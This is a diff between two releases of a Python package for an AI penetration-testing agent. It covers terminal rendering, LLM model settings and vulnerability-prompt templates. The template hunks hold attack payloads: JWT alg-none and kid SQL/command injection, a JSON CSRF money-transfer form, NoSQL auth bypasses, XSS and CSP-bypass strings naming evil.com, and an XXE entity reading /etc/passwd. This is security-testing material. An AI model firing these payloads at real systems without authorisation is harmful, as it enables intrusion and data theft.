strix-agent 0.1.8__py3-none-any.whl → 0.1.10__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- strix/agents/StrixAgent/strix_agent.py +18 -6
- strix/agents/StrixAgent/system_prompt.jinja +29 -203
- strix/agents/base_agent.py +3 -0
- strix/cli/app.py +3 -1
- strix/cli/main.py +95 -8
- strix/cli/tool_components/terminal_renderer.py +92 -60
- strix/llm/config.py +1 -1
- strix/llm/llm.py +66 -2
- strix/llm/memory_compressor.py +1 -1
- strix/prompts/__init__.py +9 -13
- strix/prompts/vulnerabilities/authentication_jwt.jinja +7 -7
- strix/prompts/vulnerabilities/csrf.jinja +1 -1
- strix/prompts/vulnerabilities/idor.jinja +3 -3
- strix/prompts/vulnerabilities/rce.jinja +1 -1
- strix/prompts/vulnerabilities/sql_injection.jinja +3 -3
- strix/prompts/vulnerabilities/xss.jinja +3 -3
- strix/prompts/vulnerabilities/xxe.jinja +1 -1
- strix/runtime/docker_runtime.py +204 -160
- strix/runtime/runtime.py +3 -2
- strix/runtime/tool_server.py +136 -28
- strix/tools/agents_graph/agents_graph_actions.py +4 -10
- strix/tools/agents_graph/agents_graph_actions_schema.xml +18 -12
- strix/tools/argument_parser.py +2 -1
- strix/tools/executor.py +3 -0
- strix/tools/terminal/__init__.py +2 -2
- strix/tools/terminal/terminal_actions.py +22 -40
- strix/tools/terminal/terminal_actions_schema.xml +113 -84
- strix/tools/terminal/terminal_manager.py +83 -123
- strix/tools/terminal/terminal_session.py +447 -0
- {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/METADATA +6 -4
- {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/RECORD +34 -34
- strix/tools/terminal/terminal_instance.py +0 -231
- {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/LICENSE +0 -0
- {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/WHEEL +0 -0
- {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/entry_points.txt +0 -0
@@ -8,7 +8,7 @@ from .registry import register_tool_renderer
|
|
8
8
|
|
9
9
|
@register_tool_renderer
|
10
10
|
class TerminalRenderer(BaseToolRenderer):
|
11
|
-
tool_name: ClassVar[str] = "
|
11
|
+
tool_name: ClassVar[str] = "terminal_execute"
|
12
12
|
css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"]
|
13
13
|
|
14
14
|
@classmethod
|
@@ -17,11 +17,12 @@ class TerminalRenderer(BaseToolRenderer):
|
|
17
17
|
status = tool_data.get("status", "unknown")
|
18
18
|
result = tool_data.get("result", {})
|
19
19
|
|
20
|
-
|
21
|
-
|
20
|
+
command = args.get("command", "")
|
21
|
+
is_input = args.get("is_input", False)
|
22
22
|
terminal_id = args.get("terminal_id", "default")
|
23
|
+
timeout = args.get("timeout")
|
23
24
|
|
24
|
-
content = cls._build_sleek_content(
|
25
|
+
content = cls._build_sleek_content(command, is_input, terminal_id, timeout, result)
|
25
26
|
|
26
27
|
css_classes = cls.get_css_classes(status)
|
27
28
|
return Static(content, classes=css_classes)
|
@@ -29,71 +30,102 @@ class TerminalRenderer(BaseToolRenderer):
|
|
29
30
|
@classmethod
|
30
31
|
def _build_sleek_content(
|
31
32
|
cls,
|
32
|
-
|
33
|
-
|
33
|
+
command: str,
|
34
|
+
is_input: bool,
|
34
35
|
terminal_id: str, # noqa: ARG003
|
36
|
+
timeout: float | None, # noqa: ARG003
|
35
37
|
result: dict[str, Any], # noqa: ARG003
|
36
38
|
) -> str:
|
37
39
|
terminal_icon = ">_"
|
38
40
|
|
39
|
-
if
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
41
|
+
if not command.strip():
|
42
|
+
return f"{terminal_icon} [dim]getting logs...[/]"
|
43
|
+
|
44
|
+
control_sequences = {
|
45
|
+
"C-c",
|
46
|
+
"C-d",
|
47
|
+
"C-z",
|
48
|
+
"C-a",
|
49
|
+
"C-e",
|
50
|
+
"C-k",
|
51
|
+
"C-l",
|
52
|
+
"C-u",
|
53
|
+
"C-w",
|
54
|
+
"C-r",
|
55
|
+
"C-s",
|
56
|
+
"C-t",
|
57
|
+
"C-y",
|
58
|
+
"^c",
|
59
|
+
"^d",
|
60
|
+
"^z",
|
61
|
+
"^a",
|
62
|
+
"^e",
|
63
|
+
"^k",
|
64
|
+
"^l",
|
65
|
+
"^u",
|
66
|
+
"^w",
|
67
|
+
"^r",
|
68
|
+
"^s",
|
69
|
+
"^t",
|
70
|
+
"^y",
|
71
|
+
}
|
72
|
+
special_keys = {
|
73
|
+
"Enter",
|
74
|
+
"Escape",
|
75
|
+
"Space",
|
76
|
+
"Tab",
|
77
|
+
"BTab",
|
78
|
+
"BSpace",
|
79
|
+
"DC",
|
80
|
+
"IC",
|
81
|
+
"Up",
|
82
|
+
"Down",
|
83
|
+
"Left",
|
84
|
+
"Right",
|
85
|
+
"Home",
|
86
|
+
"End",
|
87
|
+
"PageUp",
|
88
|
+
"PageDown",
|
89
|
+
"PgUp",
|
90
|
+
"PgDn",
|
91
|
+
"PPage",
|
92
|
+
"NPage",
|
93
|
+
"F1",
|
94
|
+
"F2",
|
95
|
+
"F3",
|
96
|
+
"F4",
|
97
|
+
"F5",
|
98
|
+
"F6",
|
99
|
+
"F7",
|
100
|
+
"F8",
|
101
|
+
"F9",
|
102
|
+
"F10",
|
103
|
+
"F11",
|
104
|
+
"F12",
|
105
|
+
}
|
106
|
+
|
107
|
+
is_special = (
|
108
|
+
command in control_sequences
|
109
|
+
or command in special_keys
|
110
|
+
or command.startswith(("M-", "S-", "C-S-", "C-M-", "S-M-"))
|
111
|
+
)
|
112
|
+
|
113
|
+
if is_special:
|
114
|
+
return f"{terminal_icon} [#ef4444]{command}[/]"
|
115
|
+
|
116
|
+
if is_input:
|
117
|
+
formatted_command = cls._format_command_display(command)
|
118
|
+
return f"{terminal_icon} [#3b82f6]>>>[/] [#22c55e]{formatted_command}[/]"
|
119
|
+
|
120
|
+
formatted_command = cls._format_command_display(command)
|
121
|
+
return f"{terminal_icon} [#22c55e]$ {formatted_command}[/]"
|
57
122
|
|
58
123
|
@classmethod
|
59
|
-
def
|
60
|
-
if not
|
124
|
+
def _format_command_display(cls, command: str) -> str:
|
125
|
+
if not command:
|
61
126
|
return ""
|
62
127
|
|
63
|
-
command_parts = []
|
64
|
-
|
65
|
-
for input_item in inputs:
|
66
|
-
if input_item == "Enter":
|
67
|
-
break
|
68
|
-
if input_item.startswith("literal:"):
|
69
|
-
command_parts.append(input_item[8:])
|
70
|
-
elif input_item in [
|
71
|
-
"Space",
|
72
|
-
"Tab",
|
73
|
-
"Backspace",
|
74
|
-
"Up",
|
75
|
-
"Down",
|
76
|
-
"Left",
|
77
|
-
"Right",
|
78
|
-
"Home",
|
79
|
-
"End",
|
80
|
-
"PageUp",
|
81
|
-
"PageDown",
|
82
|
-
"Insert",
|
83
|
-
"Delete",
|
84
|
-
"Escape",
|
85
|
-
] or input_item.startswith(("^", "C-", "S-", "A-", "F")):
|
86
|
-
if input_item == "Space":
|
87
|
-
command_parts.append(" ")
|
88
|
-
elif input_item == "Tab":
|
89
|
-
command_parts.append("\t")
|
90
|
-
continue
|
91
|
-
else:
|
92
|
-
command_parts.append(input_item)
|
93
|
-
|
94
|
-
command = "".join(command_parts).strip()
|
95
|
-
|
96
128
|
if len(command) > 200:
|
97
129
|
command = command[:197] + "..."
|
98
130
|
|
99
|
-
return cls.escape_markup(command)
|
131
|
+
return cls.escape_markup(command)
|
strix/llm/config.py
CHANGED
@@ -9,7 +9,7 @@ class LLMConfig:
|
|
9
9
|
enable_prompt_caching: bool = True,
|
10
10
|
prompt_modules: list[str] | None = None,
|
11
11
|
):
|
12
|
-
self.model_name = model_name or os.getenv("STRIX_LLM", "
|
12
|
+
self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5")
|
13
13
|
|
14
14
|
if not self.model_name:
|
15
15
|
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
strix/llm/llm.py
CHANGED
@@ -28,6 +28,39 @@ api_key = os.getenv("LLM_API_KEY")
|
|
28
28
|
if api_key:
|
29
29
|
litellm.api_key = api_key
|
30
30
|
|
31
|
+
MODELS_WITHOUT_STOP_WORDS = [
|
32
|
+
"gpt-5",
|
33
|
+
"gpt-5-mini",
|
34
|
+
"gpt-5-nano",
|
35
|
+
"o1-mini",
|
36
|
+
"o1-preview",
|
37
|
+
"o1",
|
38
|
+
"o1-2024-12-17",
|
39
|
+
"o3",
|
40
|
+
"o3-2025-04-16",
|
41
|
+
"o3-mini-2025-01-31",
|
42
|
+
"o3-mini",
|
43
|
+
"o4-mini",
|
44
|
+
"o4-mini-2025-04-16",
|
45
|
+
"grok-4-0709",
|
46
|
+
]
|
47
|
+
|
48
|
+
REASONING_EFFORT_SUPPORTED_MODELS = [
|
49
|
+
"gpt-5",
|
50
|
+
"gpt-5-mini",
|
51
|
+
"gpt-5-nano",
|
52
|
+
"o1-2024-12-17",
|
53
|
+
"o1",
|
54
|
+
"o3",
|
55
|
+
"o3-2025-04-16",
|
56
|
+
"o3-mini-2025-01-31",
|
57
|
+
"o3-mini",
|
58
|
+
"o4-mini",
|
59
|
+
"o4-mini-2025-04-16",
|
60
|
+
"gemini-2.5-flash",
|
61
|
+
"gemini-2.5-pro",
|
62
|
+
]
|
63
|
+
|
31
64
|
|
32
65
|
class StepRole(str, Enum):
|
33
66
|
AGENT = "agent"
|
@@ -240,17 +273,48 @@ class LLM:
|
|
240
273
|
"supported": supports_prompt_caching(self.config.model_name),
|
241
274
|
}
|
242
275
|
|
276
|
+
def _should_include_stop_param(self) -> bool:
|
277
|
+
if not self.config.model_name:
|
278
|
+
return True
|
279
|
+
|
280
|
+
actual_model_name = self.config.model_name.split("/")[-1].lower()
|
281
|
+
model_name_lower = self.config.model_name.lower()
|
282
|
+
|
283
|
+
return not any(
|
284
|
+
actual_model_name == unsupported_model.lower()
|
285
|
+
or model_name_lower == unsupported_model.lower()
|
286
|
+
for unsupported_model in MODELS_WITHOUT_STOP_WORDS
|
287
|
+
)
|
288
|
+
|
289
|
+
def _should_include_reasoning_effort(self) -> bool:
|
290
|
+
if not self.config.model_name:
|
291
|
+
return False
|
292
|
+
|
293
|
+
actual_model_name = self.config.model_name.split("/")[-1].lower()
|
294
|
+
model_name_lower = self.config.model_name.lower()
|
295
|
+
|
296
|
+
return any(
|
297
|
+
actual_model_name == supported_model.lower()
|
298
|
+
or model_name_lower == supported_model.lower()
|
299
|
+
for supported_model in REASONING_EFFORT_SUPPORTED_MODELS
|
300
|
+
)
|
301
|
+
|
243
302
|
async def _make_request(
|
244
303
|
self,
|
245
304
|
messages: list[dict[str, Any]],
|
246
305
|
) -> ModelResponse:
|
247
|
-
completion_args = {
|
306
|
+
completion_args: dict[str, Any] = {
|
248
307
|
"model": self.config.model_name,
|
249
308
|
"messages": messages,
|
250
309
|
"temperature": self.config.temperature,
|
251
|
-
"stop": ["</function>"],
|
252
310
|
}
|
253
311
|
|
312
|
+
if self._should_include_stop_param():
|
313
|
+
completion_args["stop"] = ["</function>"]
|
314
|
+
|
315
|
+
if self._should_include_reasoning_effort():
|
316
|
+
completion_args["reasoning_effort"] = "medium"
|
317
|
+
|
254
318
|
queue = get_global_queue()
|
255
319
|
response = await queue.make_request(completion_args)
|
256
320
|
|
strix/llm/memory_compressor.py
CHANGED
@@ -145,7 +145,7 @@ class MemoryCompressor:
|
|
145
145
|
model_name: str | None = None,
|
146
146
|
):
|
147
147
|
self.max_images = max_images
|
148
|
-
self.model_name = model_name or os.getenv("STRIX_LLM", "
|
148
|
+
self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5")
|
149
149
|
|
150
150
|
if not self.model_name:
|
151
151
|
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
strix/prompts/__init__.py
CHANGED
@@ -49,25 +49,21 @@ def generate_modules_description() -> str:
|
|
49
49
|
if not available_modules:
|
50
50
|
return "No prompt modules available"
|
51
51
|
|
52
|
-
|
52
|
+
all_module_names = get_all_module_names()
|
53
53
|
|
54
|
-
|
55
|
-
|
56
|
-
|
54
|
+
if not all_module_names:
|
55
|
+
return "No prompt modules available"
|
56
|
+
|
57
|
+
sorted_modules = sorted(all_module_names)
|
58
|
+
modules_str = ", ".join(sorted_modules)
|
57
59
|
|
58
60
|
description = (
|
59
|
-
f"List of prompt modules to load for this agent (max 3). "
|
60
|
-
f"Available modules: {', '.join(description_parts)}. "
|
61
|
+
f"List of prompt modules to load for this agent (max 3). Available modules: {modules_str}. "
|
61
62
|
)
|
62
63
|
|
63
|
-
example_modules = []
|
64
|
-
for modules in available_modules.values():
|
65
|
-
example_modules.extend(modules[:2])
|
66
|
-
if len(example_modules) >= 2:
|
67
|
-
break
|
68
|
-
|
64
|
+
example_modules = sorted_modules[:2]
|
69
65
|
if example_modules:
|
70
|
-
example = f"Example: {example_modules
|
66
|
+
example = f"Example: {', '.join(example_modules)} for specialized agent"
|
71
67
|
description += example
|
72
68
|
|
73
69
|
return description
|
@@ -5,8 +5,8 @@
|
|
5
5
|
|
6
6
|
<jwt_structure>
|
7
7
|
header.payload.signature
|
8
|
-
- Header: {"alg":"HS256","typ":"JWT"}
|
9
|
-
- Payload: {"sub":"1234","name":"John","iat":1516239022}
|
8
|
+
- Header: {% raw %}{"alg":"HS256","typ":"JWT"}{% endraw %}
|
9
|
+
- Payload: {% raw %}{"sub":"1234","name":"John","iat":1516239022}{% endraw %}
|
10
10
|
- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
|
11
11
|
</jwt_structure>
|
12
12
|
|
@@ -19,7 +19,7 @@ RS256 to HS256:
|
|
19
19
|
</algorithm_confusion>
|
20
20
|
|
21
21
|
<none_algorithm>
|
22
|
-
- Set "alg": "none" in header
|
22
|
+
- Set {% raw %}"alg": "none"{% endraw %} in header
|
23
23
|
- Remove signature completely (keep the trailing dot)
|
24
24
|
</none_algorithm>
|
25
25
|
|
@@ -28,16 +28,16 @@ Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-b
|
|
28
28
|
</weak_secrets>
|
29
29
|
|
30
30
|
<kid_manipulation>
|
31
|
-
- SQL Injection: "kid": "key' UNION SELECT 'secret'--"
|
32
|
-
- Command injection: "kid": "|sleep 10"
|
33
|
-
- Path traversal: "kid": "../../../../../../dev/null"
|
31
|
+
- SQL Injection: {% raw %}"kid": "key' UNION SELECT 'secret'--"{% endraw %}
|
32
|
+
- Command injection: {% raw %}"kid": "|sleep 10"{% endraw %}
|
33
|
+
- Path traversal: {% raw %}"kid": "../../../../../../dev/null"{% endraw %}
|
34
34
|
</kid_manipulation>
|
35
35
|
</common_attacks>
|
36
36
|
|
37
37
|
<advanced_techniques>
|
38
38
|
<jwk_injection>
|
39
39
|
Embed public key in token header:
|
40
|
-
{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}
|
40
|
+
{% raw %}{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}{% endraw %}
|
41
41
|
</jwk_injection>
|
42
42
|
|
43
43
|
<jku_manipulation>
|
@@ -48,7 +48,7 @@ HTML form auto-submit:
|
|
48
48
|
<json_csrf>
|
49
49
|
For JSON endpoints:
|
50
50
|
<form enctype="text/plain" action="https://target.com/api">
|
51
|
-
<input name='{"amount":1000,"to":"attacker","ignore":"' value='"}'>
|
51
|
+
<input name='{% raw %}{"amount":1000,"to":"attacker","ignore":"{% endraw %}' value='"}'>
|
52
52
|
</form>
|
53
53
|
</json_csrf>
|
54
54
|
|
@@ -15,7 +15,7 @@
|
|
15
15
|
|
16
16
|
<advanced_enumeration>
|
17
17
|
- Boundary values: 0, -1, null, empty string, max int
|
18
|
-
- Different formats: {"id":123} vs {"id":"123"}
|
18
|
+
- Different formats: {% raw %}{"id":123} vs {"id":"123"}{% endraw %}
|
19
19
|
- ID patterns: increment, decrement, similar patterns
|
20
20
|
- Wildcard testing: *, %, _, all
|
21
21
|
- Array notation: id[]=123&id[]=456
|
@@ -51,7 +51,7 @@ for i in range(1, 10000):
|
|
51
51
|
<type_confusion>
|
52
52
|
- String where int expected: "123" vs 123
|
53
53
|
- Array where single value expected: [123] vs 123
|
54
|
-
- Object injection: {"id": {"$ne": null}}
|
54
|
+
- Object injection: {% raw %}{"id": {"$ne": null}}{% endraw %}
|
55
55
|
</type_confusion>
|
56
56
|
</exploitation_techniques>
|
57
57
|
|
@@ -106,7 +106,7 @@ query { u1: user(id: 123) { data } u2: user(id: 456) { data } }
|
|
106
106
|
|
107
107
|
<websocket_idor>
|
108
108
|
Subscribe to other users' channels:
|
109
|
-
{"subscribe": "user_456_notifications"}
|
109
|
+
{% raw %}{"subscribe": "user_456_notifications"}{% endraw %}
|
110
110
|
</websocket_idor>
|
111
111
|
|
112
112
|
<file_path_idor>
|
@@ -152,9 +152,9 @@ PostgreSQL:
|
|
152
152
|
|
153
153
|
<nosql_injection>
|
154
154
|
<mongodb>
|
155
|
-
{"username": {"$ne": null}, "password": {"$ne": null}}
|
156
|
-
{"$where": "this.username == 'admin'"}
|
157
|
-
{"username": {"$regex": "^admin"}}
|
155
|
+
{% raw %}{"username": {"$ne": null}, "password": {"$ne": null}}{% endraw %}
|
156
|
+
{% raw %}{"$where": "this.username == 'admin'"}{% endraw %}
|
157
|
+
{% raw %}{"username": {"$regex": "^admin"}}{% endraw %}
|
158
158
|
</mongodb>
|
159
159
|
|
160
160
|
<graphql>
|
@@ -9,7 +9,7 @@
|
|
9
9
|
- Headers: User-Agent, Referer, X-Forwarded-For
|
10
10
|
- Cookies (if reflected)
|
11
11
|
- File uploads (filename, metadata)
|
12
|
-
- JSON endpoints: {"user":"<payload>"}
|
12
|
+
- JSON endpoints: {% raw %}{"user":"<payload>"}{% endraw %}
|
13
13
|
- postMessage handlers
|
14
14
|
- DOM properties: location.hash, document.referrer
|
15
15
|
- WebSocket messages
|
@@ -97,7 +97,7 @@ jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</
|
|
97
97
|
|
98
98
|
<csp_bypasses>
|
99
99
|
- JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
|
100
|
-
- AngularJS: {{constructor.constructor('alert(1)')()}}
|
100
|
+
- AngularJS: {% raw %}{{constructor.constructor('alert(1)')()}}{% endraw %}
|
101
101
|
- Script gadgets in allowed libraries
|
102
102
|
- Base tag injection: <base href="//evil.com/">
|
103
103
|
- Object/embed: <object data="data:text/html,<script>alert(1)</script>">
|
@@ -145,7 +145,7 @@ navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
|
|
145
145
|
</markdown>
|
146
146
|
|
147
147
|
<react_vue>
|
148
|
-
- dangerouslySetInnerHTML={{__html: payload}}
|
148
|
+
- dangerouslySetInnerHTML={% raw %}{{__html: payload}}{% endraw %}
|
149
149
|
- v-html directive bypass
|
150
150
|
</react_vue>
|
151
151
|
|
@@ -91,7 +91,7 @@ evil.dtd:
|
|
91
91
|
|
92
92
|
<specific_contexts>
|
93
93
|
<json_xxe>
|
94
|
-
{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}
|
94
|
+
{% raw %}{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}{% endraw %}
|
95
95
|
</json_xxe>
|
96
96
|
|
97
97
|
<soap_xxe>
|